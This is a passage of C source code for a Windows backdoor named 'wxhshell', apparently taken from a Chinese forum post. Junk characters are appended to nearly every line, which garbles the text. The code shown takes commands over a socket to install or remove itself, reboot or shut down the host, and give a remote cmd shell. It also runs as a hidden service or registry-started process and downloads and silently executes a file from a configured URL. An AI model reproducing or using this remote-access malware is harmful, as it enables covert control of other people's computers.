  } sD#.Oq4&]y  
  else { Qd3 j%(  
Wg]Qlw`\|  
    switch(cmd[0]) { 9CD_ os\h  
  H$UcF1k<  
  // 帮助 ~2-1 j  
  case '?': { *VT/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1/J=uH  
    break; 9~[Y-cpoi  
  } kMN~Y  
  // 安装 < h *4Q  
  case 'i': { ER.}CM6{[  
    if(Install()) k@W1-D?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U&p${IcEm  
    else nb%6X82Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [MY|T<q  
    break; aAUvlb  
    } =Jb>x#Y  
  // 卸载 %n9aaoD  
  case 'r': { Z/+#pWBI!  
    if(Uninstall()) 6(ol1 (U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oYH-wQj  
    else C]A.i2o8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yD}B%\45  
    break; l!u_"I8j5  
    } g]0_5?i  
  // 显示 wxhshell 所在路径 3)ywX&4"L  
  case 'p': { ^k9I(f^c-_  
    char svExeFile[MAX_PATH]; wI/iuc  
    strcpy(svExeFile,"\n\r"); F7#JLE=  
      strcat(svExeFile,ExeFile); =B@2#W#  
        send(wsh,svExeFile,strlen(svExeFile),0); {R6ZKB  
    break; $6SW;d+>n  
    } R8'RA%O9J  
  // 重启 Ds:'Lb  
  case 'b': { rFL;'Cj@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t1x1,SL  
    if(Boot(REBOOT)) *J`O"a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZPYS$Ydy  
    else { 9x =Y^',5  
    closesocket(wsh); 6T`i/".  
    ExitThread(0); h@ry y\9  
    } EXqE~afm2  
    break; l+^*LqEW2  
    } |&i<bqLw:  
  // 关机 {"KMs[M  
  case 'd': { 7-fb.V9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R (n2A$  
    if(Boot(SHUTDOWN)) &Au@S$ij  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }k.Z~1y  
    else { ncT&Gr   
    closesocket(wsh); '6%2.[ o  
    ExitThread(0); `e}B2;$A3  
    } K]w'&Qm8W  
    break; "3Y0`&:D  
    } ey$&;1x#5  
  // 获取shell ab?aQ*$+  
  case 's': { LZxNAua  
    CmdShell(wsh); 4BpZJ~(p  
    closesocket(wsh); 7 HYwLG:\~  
    ExitThread(0); s!$a \k  
    break; :Zw2'IV  
  } AH~E)S  
  // 退出 R.<g3"Lm>  
  case 'x': {  rjnrju+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e$Pj.>-<=  
    CloseIt(wsh); mQ"-,mMI  
    break; pOoEI+t  
    } DZtsy!xA  
  // 离开 ;Q`lNFa  
  case 'q': { dG?*y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]3Sp W{=^(  
    closesocket(wsh); =[7Av>  
    WSACleanup(); j^RmrOg ,  
    exit(1); &mS^ZyG  
    break; (KZ{^X?a  
        } a/xn'"eli  
  } 19%i mf  
  } 5wU]!bxr  
1EX;MW-p<T  
  // 提示信息 iuul7VR-%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Dk51z@  
} 'i|YlMFIg  
  } >Y@H4LF;1x  
nKj7.,>;:<  
  return; 1<aP92/N&  
} g2Z`zQA7  
}3WxZv]I}  
// shell模块句柄 '[%j@PlCX  
int CmdShell(SOCKET sock) cQ}{[YO  
{ +^F Zq$NP  
STARTUPINFO si; "qy,*{~  
ZeroMemory(&si,sizeof(si)); +k R4E23:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qwAT>4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &m;*<}X  
PROCESS_INFORMATION ProcessInfo; Bdpy:'fJn  
char cmdline[]="cmd"; l,aay-E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V0a3<6@4  
  return 0; w7&A0M  
} '8kP.l  
~6md !o%i  
// 自身启动模式 )NT*bLRPQ  
int StartFromService(void) (A.C]hD  
{ h 'nY3GrU  
typedef struct EU Fa5C:  
{ ]A_`0"m.U  
  DWORD ExitStatus; j3ls3H&  
  DWORD PebBaseAddress; 0jWVp- y  
  DWORD AffinityMask; 4E}Yt$|  
  DWORD BasePriority; -m#)B~)  
  ULONG UniqueProcessId; HTTC TR  
  ULONG InheritedFromUniqueProcessId; lPAQ3t!,  
}   PROCESS_BASIC_INFORMATION; SSzIih@u  
E2+`4g@{8<  
PROCNTQSIP NtQueryInformationProcess; Qn2&nD%zi  
buHJB*?9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q22 GIr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +&H4m=D-#a  
K3l95he  
  HANDLE             hProcess; es0hm2HT3  
  PROCESS_BASIC_INFORMATION pbi; sV*H`N')S  
hOK8(U0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ChQx a  
  if(NULL == hInst ) return 0; Lu%b9Jk  
G=bCNn<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [()koU#w.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7F.4Ga;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .*Qx\,  
>^{yF~(  
  if (!NtQueryInformationProcess) return 0; |;{6& S  
7 _[L o4_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F_P~x(X  
  if(!hProcess) return 0; 3o/[t  
:[d9tm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b| (: [nB  
|JsZJ9W+J  
  CloseHandle(hProcess); xN'I/@ kb  
a?oI>8*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &uVnZ@o42  
if(hProcess==NULL) return 0; RT8 ?7xFc  
5#z1bu  
HMODULE hMod; ZYNsHcTY  
char procName[255]; M D#jj3y  
unsigned long cbNeeded; AQ^u   
a$fnh3j[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #4;wjcGWw  
qZZK#,Qb  
  CloseHandle(hProcess); )QJUUn#  
(**oRwr%  
if(strstr(procName,"services")) return 1; // 以服务启动 ]eV8b*d6  
m(P]k'ZH?  
  return 0; // 注册表启动 -D: b*D  
} 1{.9uw"2S  
X5w$4Kj&4l  
// 主模块 JlJ a #  
int StartWxhshell(LPSTR lpCmdLine) o5)<$P43  
{ e+=K d+:k  
  SOCKET wsl; iN.n8MN=I  
BOOL val=TRUE; $<OD31T  
  int port=0; tQ601H>o  
  struct sockaddr_in door; Pc]HP  
5~S5F3  
  if(wscfg.ws_autoins) Install(); -tU'yKhn  
?&uu[y  
port=atoi(lpCmdLine); /zox$p$?h  
` G kX  
if(port<=0) port=wscfg.ws_port; 2 ? 4!K.  
gI`m.EH}}N  
  WSADATA data; >.D4co>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u]G\H!Wk Q  
H%{+QwzZ[j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2>59q$ |  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); JsS-n'gF'  
  door.sin_family = AF_INET; ^kSqsT"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0IWf!Sk ]  
  door.sin_port = htons(port); Gp\ kU:}&  
4{Z)8;QX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h>bx}$q  
closesocket(wsl); .eC1qWZJpd  
return 1; UL9n-M =  
} [.}oyz; }N  
\^1E4C\":  
  if(listen(wsl,2) == INVALID_SOCKET) { . 'yCw#f  
closesocket(wsl); $`'/+x"%  
return 1; ^/k*h J{  
} >5 BJ3Hf  
  Wxhshell(wsl); #,v {Ihn  
  WSACleanup(); Z #m+ObHK1  
.o}v#W+st  
return 0; NZz8j^  
.tr!(O],h  
} H%lVl8oQ  
W(/h Vt  
// 以NT服务方式启动 HLi%%"'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7o}J%z  
{ JjS?  
DWORD   status = 0; ( uidNq  
  DWORD   specificError = 0xfffffff; h FBe,'3M  
] }X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J?$,c4;W2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; '4<1 1(U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P1f[% 1  
  serviceStatus.dwWin32ExitCode     = 0; -D~%|).'  
  serviceStatus.dwServiceSpecificExitCode = 0; |vzl. ^"-  
  serviceStatus.dwCheckPoint       = 0; K~ EmD9  
  serviceStatus.dwWaitHint       = 0; lk80#( :Z  
e@YK@?^#N  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r,2g^ K)6  
  if (hServiceStatusHandle==0) return; rQ snhv  
'}#9)}x!  
status = GetLastError(); Ef{Vp;]  
  if (status!=NO_ERROR) UR5`ue ;  
{ ;xn0;V'=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J4U1t2@)9  
    serviceStatus.dwCheckPoint       = 0; [opGZ`>)j"  
    serviceStatus.dwWaitHint       = 0; ;]:@n;c\  
    serviceStatus.dwWin32ExitCode     = status; 0Wp|1)ljA  
    serviceStatus.dwServiceSpecificExitCode = specificError; _u9Jxw?F@Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }l9llu   
    return; T&7qC=E#5  
  } zp?`N;  
Yz)qcU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; MnW+25=N  
  serviceStatus.dwCheckPoint       = 0; k$}fWR  
  serviceStatus.dwWaitHint       = 0; #A8sLkY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); IEvdV6{K  
} Jj%K=sw  
""~ajy  
// 处理NT服务事件,比如:启动、停止 Yu2Bkq+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ny)X+2Ae  
{ C+&l< fM&  
switch(fdwControl) DLNb o2C  
{ j b!i$/%w  
case SERVICE_CONTROL_STOP: ZqO^f*F>h  
  serviceStatus.dwWin32ExitCode = 0; 18:%~>.!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0+b1vhQ  
  serviceStatus.dwCheckPoint   = 0; FHI ;)wn=  
  serviceStatus.dwWaitHint     = 0; ENY+^7  
  { cj5+N M"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]5:8Z@  
  } )dd@\n$6  
  return;  %D "I  
case SERVICE_CONTROL_PAUSE: a C)!T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8, >P  
  break; d m%8K6|  
case SERVICE_CONTROL_CONTINUE: ;i:d+!3XwC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ozf@6\/t  
  break; ufT`"i  
case SERVICE_CONTROL_INTERROGATE: m&yJzMW|  
  break; '1/i"yoW  
}; |$_sX9\`?|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @U}1EC{A  
} H} g{Cr"Ex  
@Do= k  
// 标准应用程序主函数 ;sFF+^~L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [j'X;tVX{  
{ c~ V*:$F  
$PHvA6D  
// 获取操作系统版本 .#pU=v#/[  
OsIsNt=GetOsVer(); UW EV^ &"x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); JqiP>4Uwm^  
jo@J}`\Zt  
  // 从命令行安装 jW@Uo=I[  
  if(strpbrk(lpCmdLine,"iI")) Install(); *-p}z@8  
V3j= Kf  
  // 下载执行文件 8)I^ t81  
if(wscfg.ws_downexe) { H$4:lH&(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h9W^[6  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7D5]G-}x.  
} H<N,%G  
i K? w6  
if(!OsIsNt) { Pgea NK5Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 cYt!n5w~W  
HideProc(); 6!FQzFCZq  
StartWxhshell(lpCmdLine); VP]%Hni]  
} I~XSn>-H  
else S{m% H{A!  
  if(StartFromService()) A^<iL  
  // 以服务方式启动 y'*K|a TG  
  StartServiceCtrlDispatcher(DispatchTable); | Xy6PN8  
else 4{`{WI{  
  // 普通方式启动 =rX>.P%Q5  
  StartWxhshell(lpCmdLine); #;nYg?d=  
'`KY! ]L  
return 0; XpJ7o=?W3  
}
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只看该作者 1 发表于: 2006-10-10
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